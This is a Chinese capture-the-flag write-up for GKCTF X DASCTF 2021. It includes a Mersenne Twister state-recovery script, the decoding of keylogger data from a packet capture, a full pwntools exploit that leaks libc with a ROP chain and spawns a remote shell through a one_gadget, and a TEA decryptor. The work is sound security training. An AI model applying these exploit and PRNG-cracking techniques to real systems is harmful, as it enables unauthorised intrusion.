MENU

GKCTF X DASCTF应急挑战杯 Writeup

June 26, 2021 • Read: 401 • Pwn,Reverse,CTF,Crypto,Misc

GKCTF X DASCTF 应急挑战杯 Writeup

By:打 CTF 不靠实力靠运气

Crypto

Random

import gmpy2

import libprngcrack
from Crypto.Util.number import *
from Crypto.Cipher import AES
import random

class RandCrack:

    def __init__(self):
        self.counter = 0
        self.mt = []
        self.state = False

    def getRandom(self):
        if not self.state:
            raise ValueError("Didn't recieve enough bits to predict")
        r = random.Random()
        state = (3, tuple([self._to_int(self.mt[i]) for i in range(624)] + [624]), None)
        r.setstate(state)
        return r


    def submit(self, num):
        if self.state:
            raise ValueError("Already got enough bits")
        bits = self._to_bitarray(num)
        assert (all([x == 0 or x == 1 for x in bits]))
        self.counter += 1
        self.mt.append(self._harden_inverse(bits))
        if self.counter == 624:
            self.state = True

    def _to_bitarray(self, num):
        k = [int(x) for x in bin(num)[2:]]
        return [0] * (32 - len(k)) + k

    def _to_int(self, bits):
        return int("".join(str(i) for i in bits), 2)

    def _or_nums(self, a, b):
        if len(a) < 32:
            a = [0] * (32 - len(a)) + a
        if len(b) < 32:
            b = [0] * (32 - len(b)) + b

        return [x[0] | x[1] for x in zip(a, b)]

    def _xor_nums(self, a, b):
        if len(a) < 32:
            a = [0] * (32 - len(a)) + a
        if len(b) < 32:
            b = [0] * (32 - len(b)) + b

        return [x[0] ^ x[1] for x in zip(a, b)]

    def _and_nums(self, a, b):
        if len(a) < 32:
            a = [0] * (32 - len(a)) + a
        if len(b) < 32:
            b = [0] * (32 - len(b)) + b

        return [x[0] & x[1] for x in zip(a, b)]

    def _decode_harden_midop(self, enc, and_arr, shift):

        NEW = 0
        XOR = 1
        OK = 2
        work = []
        for i in range(32):
            work.append((NEW, enc[i]))
        changed = True
        while changed:
            changed = False
            for i in range(32):
                status = work[i][0]
                data = work[i][1]
                if i >= 32 - shift and status == NEW:
                    work[i] = (OK, data)
                    changed = True
                elif i < 32 - shift and status == NEW:
                    if and_arr[i] == 0:
                        work[i] = (OK, data)
                        changed = True
                    else:
                        work[i] = (XOR, data)
                        changed = True
                elif status == XOR:
                    i_other = i + shift
                    if work[i_other][0] == OK:
                        work[i] = (OK, data ^ work[i_other][1])
                        changed = True

        return [x[1] for x in work]

    def _harden(self, bits):
        bits = self._xor_nums(bits, bits[:-11])
        bits = self._xor_nums(bits, self._and_nums(bits[7:] + [0] * 7, self._to_bitarray(0x9d2c5680)))
        bits = self._xor_nums(bits, self._and_nums(bits[15:] + [0] * 15, self._to_bitarray(0xefc60000)))
        bits = self._xor_nums(bits, bits[:-18])
        return bits

    def _harden_inverse(self, bits):
        # inverse for: bits = _xor_nums(bits, bits[:-11])
        bits = self._xor_nums(bits, bits[:-18])
        # inverse for: bits = _xor_nums(bits, _and_nums(bits[15:] + [0] * 15 , _to_bitarray(0xefc60000)))
        bits = self._decode_harden_midop(bits, self._to_bitarray(0xefc60000), 15)
        # inverse for: bits = _xor_nums(bits, _and_nums(bits[7:] + [0] * 7 , _to_bitarray(0x9d2c5680)))
        bits = self._decode_harden_midop(bits, self._to_bitarray(0x9d2c5680), 7)
        # inverse for: bits = _xor_nums(bits, bits[:-11])
        bits = self._xor_nums(bits, [0] * 11 + bits[:11] + [0] * 10)
        bits = self._xor_nums(bits, bits[11:21])
        return bits

import random
from hashlib import md5


file = open("C:\\random1.txt","w")
for i in range(104):
    file.write(str(random.getrandbits(32))+"\n")
    file.write(str(random.getrandbits(64))+"\n")
    file.write(str(random.getrandbits(96))+"\n")
file.close()

flag = md5(str(random.getrandbits(32)).encode()).hexdigest()
print(flag)



crack = RandCrack()
p = open("c:\\random.txt", "r")
data = p.read().split('\n')
num = 0
for i in data:
    if i == "":
        continue
    t = int(i)
    t = long_to_bytes(t).rjust(12, b'\x00')
    if num % 3 == 0:
        crack.submit(bytes_to_long(t))
    elif num % 3 == 1:
        t1 = bytes_to_long(t[4:8])
        t2 = bytes_to_long(t[8:12])
        crack.submit(t2)
        crack.submit(t1)
    elif num % 3 == 2:
        t1 = bytes_to_long(t[0:4])
        t2 = bytes_to_long(t[4:8])
        t3 = bytes_to_long(t[8:12])
        crack.submit(t3)
        crack.submit(t2)
        crack.submit(t1)
    num += 1
    #print(hex(int(i)))

r = crack.getRandom()
flag = md5(str(r.getrandbits(32)).encode()).hexdigest()
print(flag)


#for i in range(624):
    #crack.submit(int(p.readline().strip()))
#r = crack.getRandom()

Misc

签到

流量包,分析最后一个 base64 的包,内容逐行倒置

a = '''wIDIgACIgACIgAyIK0wIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMiCNoQD
jMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjMyIjoQDjACIgACIgACIggDM6EDM6AjMgAzMtMDMtEjM
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0iCNMyIjMyIjMyIjMyI
6AjMgAzMtMDMtEjMwIjO0eZ62ep5K0wKrQWYwVGdv5EItAiM1Aydl5mK6M6jlfpqnrQDt0SLt0SL
t0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLt0SLK0AIdZavo75mlvlCNMTM6EDM
z0yMw0SMyAjM6Q7lpb7lmrQDrsCZhBXZ09mTg0CIyUDI3VmbqozoPW+lqeuCN0SLt0SLt0SLt0SL
sxWZld1V913e7d2ZhFGbsZmZg0lp9iunbW+Wg0lp9iunbW+Wg0lp9iunbW+WK0wMxoTMwoDMyACM
DN0QDN0QDlWazNXMx0Wbf9lRGRDNDN0ard0Rf9VZl1WbwADIdRampDKilvFIdRampDKilvVKpM2Y
==QIhM0QDN0Q'''

a = a.split('\n')
for i in a:
    print(i[::-1])

解密出来发现是个,键盘监控数据,根据内容还原



#######################################
#         2021-03-30 20:01:08         #
#######################################
--------------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:01:13
[回车] 
--------------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:01:13
[回车] [回车] [回车] ffllaagg{{}}WWeellcc))[删除] [删除] 00mmee__GGkkCC44FF__mm11ssiiCCCCCCCCCCCC!!

发现 flag 信息重复,调整后得到正确的 flag

你知道 apng 吗

apng 格式信息上网搜索后发现是一个类似 GIF 的格式,通过 chrome 可以打开,使用录屏软件开启 60 帧录制,录制后的二维码数据逐个使用软件扫描,发现有个二维码无法扫描成功,故用 Ps 进行调整后扫描成功,最后得到的信息连接起来就是 flag。

银杏岛 の 奇妙冒险

硬玩

Pwn

checkin

from pwn import *

elf = None
libc = None
file_name = "./login"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def pwn(sh, elf, libc):
    context.log_level = "debug"
    pop_rdi_addr = 0x0000000000401ab3
    main_addr = 0x0000000000401883
    s1_addr = 0x0000000000602400
    sh.sendafter('Please Sign-in', 'admin\x00\x00\x00' + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(main_addr))
    #gdb.attach(sh, "b *0x00000000004018C7")
    sh.sendafter('Please input u Pass', 'admin\x00\x00\x00' * 4 + p64(s1_addr))
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-libc.sym['puts'])
    sh.sendafter('Please Sign-in', 'admin\x00\x00\x00' + p64(libc_base + 0xf1247) * 3)
    sh.sendafter('Please input u Pass', 'admin\x00\x00\x00' * 4 + p64(s1_addr))
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

Reverse

QQQQT

反编译后看到的字符串,base58 解密就是 flag

Crash

Golang 题目,使用 IDA7.6 可以看符号信息,一个 3DES,一个 SHA256,一个 SHA512,一个 md5

,伪代码看到的程序缺失一部分,直接看汇编即可。

GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}

app-debug

代码在 Native 中,一个 TEA

#include <cstdio>
void encrypt(unsigned int* v, const unsigned int* k)
{
    unsigned int v0 = v[0], v1 = v[1], sum = 0, i;
    unsigned int delta = 0x458BCD42;
    unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++)
    {
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }
    v[0] = v0;
    v[1] = v1;
}

void decrypt(unsigned int* v, unsigned int* k)
{
    unsigned long v0 = v[0], v1 = v[1], sum = 0, i;
    for (int i = 0; i < 32; i++) sum += 0x458BCD42;
    unsigned long delta = 0x458BCD42;
    unsigned long k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (i = 0; i < 32; i++)
    {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}

int main()
{
    unsigned int v[2] = { 0xF5A98FF3, 0xA21873A3 }, k[4] = { 9, 7, 8, 6 };
    //encrypt(v, k);
    decrypt(v, k);
    printf("%s", v);
    return 0;
}
Archives QR Code Tip
QR Code for this page
Tipping QR Code